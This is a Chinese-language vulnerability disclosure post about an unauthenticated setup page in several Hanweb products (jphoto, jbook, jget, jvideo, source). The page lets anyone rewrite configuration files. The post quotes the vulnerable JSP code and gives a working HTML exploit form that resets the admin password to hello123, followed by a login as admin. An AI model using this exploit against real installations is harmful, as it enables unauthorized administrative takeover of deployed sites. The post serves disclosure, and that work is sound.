大汉jphoto等产品通用越权漏洞

jbook:订阅系统(好像是)
source:数据源采集系统
jget:信息采集系统
jvideo:视频系统
jphoto:图片系统

以上系列产品存在通用越权漏洞。

黑客可以利用该漏洞重置这几个系统的安装目录相关配置信息。

    // 相关核心代码
    String strRealPath = application.getRealPath("");
    //文件路径
    String strDictionary =  application.getRealPath("") +"/";
 
    //构造上传类,传入上传的路径
    CommonUploadFile upload = new CommonUploadFile(strDictionary);      
     
    //上传操作
    boolean b = upload.uploadFile(request);
    String jndi = upload.getFormValue( "jndi");
    String product = upload.getFormValue( "product");
    //…………
    String servername = upload.getFormValue( "servername");
    servername = servername.toLowerCase();
     
    //String jndi = upload.getFormValue( "jndi");
    String adminpwd = upload.getFormValue( "adminpwd");
    String debug1 = upload.getFormValue( "debug1");
    int nDebug = Convert.getStringValueInt( debug1 );
    //String dbtype = upload.getFormValue( request,"dbtype");
    String dbtypename = upload.getFormValue( "dbtypename");
    dbtypename = dbtypename.toLowerCase();
     
    //获取系统参数
    int b_email = Convert.getStringValueInt(upload.getFormValue("openmailbook"));
    int b_mobile = Convert.getStringValueInt(upload.getFormValue("openmobilebook"));  
    int logsavedate = Convert.getStringValueInt(upload.getFormValue("logsavetime"));      
    String cleartime = Convert.getValue(upload.getFormValue("cleartime"));
    String sysurl = Convert.getValue(upload.getFormValue("sysurl"));
     
    //写sysconfig.xml配置文件
    ConfigService configService = new ConfigService();
    SysConfigEntity sysConfig = new SysConfigEntity();
    sysConfig.setOpenmailbook(b_email);
    sysConfig.setOpenmobilebook(b_mobile);
    sysConfig.setLogsavetime(logsavedate);
    sysConfig.setCleartime(cleartime);
    sysConfig.setUrl(sysurl);
    configService.saveSysConfig(sysConfig);
     
    String sso = upload.getFormValue( "sso");
    String kick = upload.getFormValue("kick");
    String validate = upload.getFormValue("validate");…………
    //……
 
    //写merpserver.ini配置文件
    String iniPath = strRealPath + "/WEB-INF/ini/merpserver.ini";
    com.hanweb.common.util.IniFile ini = new com.hanweb.common.util.IniFile( iniPath );
    ini.readIni();
    ini.setIniValue("WebServer",servername);
    ini.setIniValue("AppPath",jndi);
    ini.setIniValue("DBType",dbtypename);
    ini.setIniValue("AdminPW",adminpwd);
    ini.setIniValue("loglevel",debug1);
    ini.setIniValue("sso",sso);
    ini.setIniValue("kick",kick);
    ini.setIniValue("validate",validate);
    ini.writeIni();

关键的几步代码基本如上,以上提到的几个系统类似(VC或其它的一些系统代码和上面就不同,有比较大差别)。

接下来我们来制作个exp,代码如下:

<!-- 编码为utf-8 -->
<html>
<form action="http://target.com/jphoto/setup/opr_setting.jsp" name="test" method="post" enctype="multipart/form-data">
<input type="file" name="file" size="23" id="file" />
<input type="hidden" name="jndi" value="jsp.jsp " />
<input type="hidden" name="servername" value="123456" />
<input type="hidden" name="debug1" value="123456" />
<input type="hidden" name="dbtype" value="123456" />
<input type="hidden" name="dbtypename" value="123456" />
<input type="hidden" name="ldapV" value="123456" />
<input type="hidden" name="dbtypename" value="123456" />
<input type="hidden" name="adminpwd" value="hello123" />
<input type="hidden" name="initapps" value="123456" />
<input type="hidden" name="sso" value="123456" />
<input type="submit" value="Submit" />
</form>
</html
</html>

接下来我们用exp上传个.ini的文件:
hack upload
上传成功:
hack success

提交成功后,提示配置文件修改完成,重启服务。

Exp里面是把密码设置为hello123的

<input type="hidden" name="adminpwd" value="hello123" />

再回到登录界面,使用admin/hello123登录:

login_success

其它系统漏洞这里就不多做演示了,受影响的站点较多,希望大汉尽快解决,我的客户都是他们的客户。

发表评论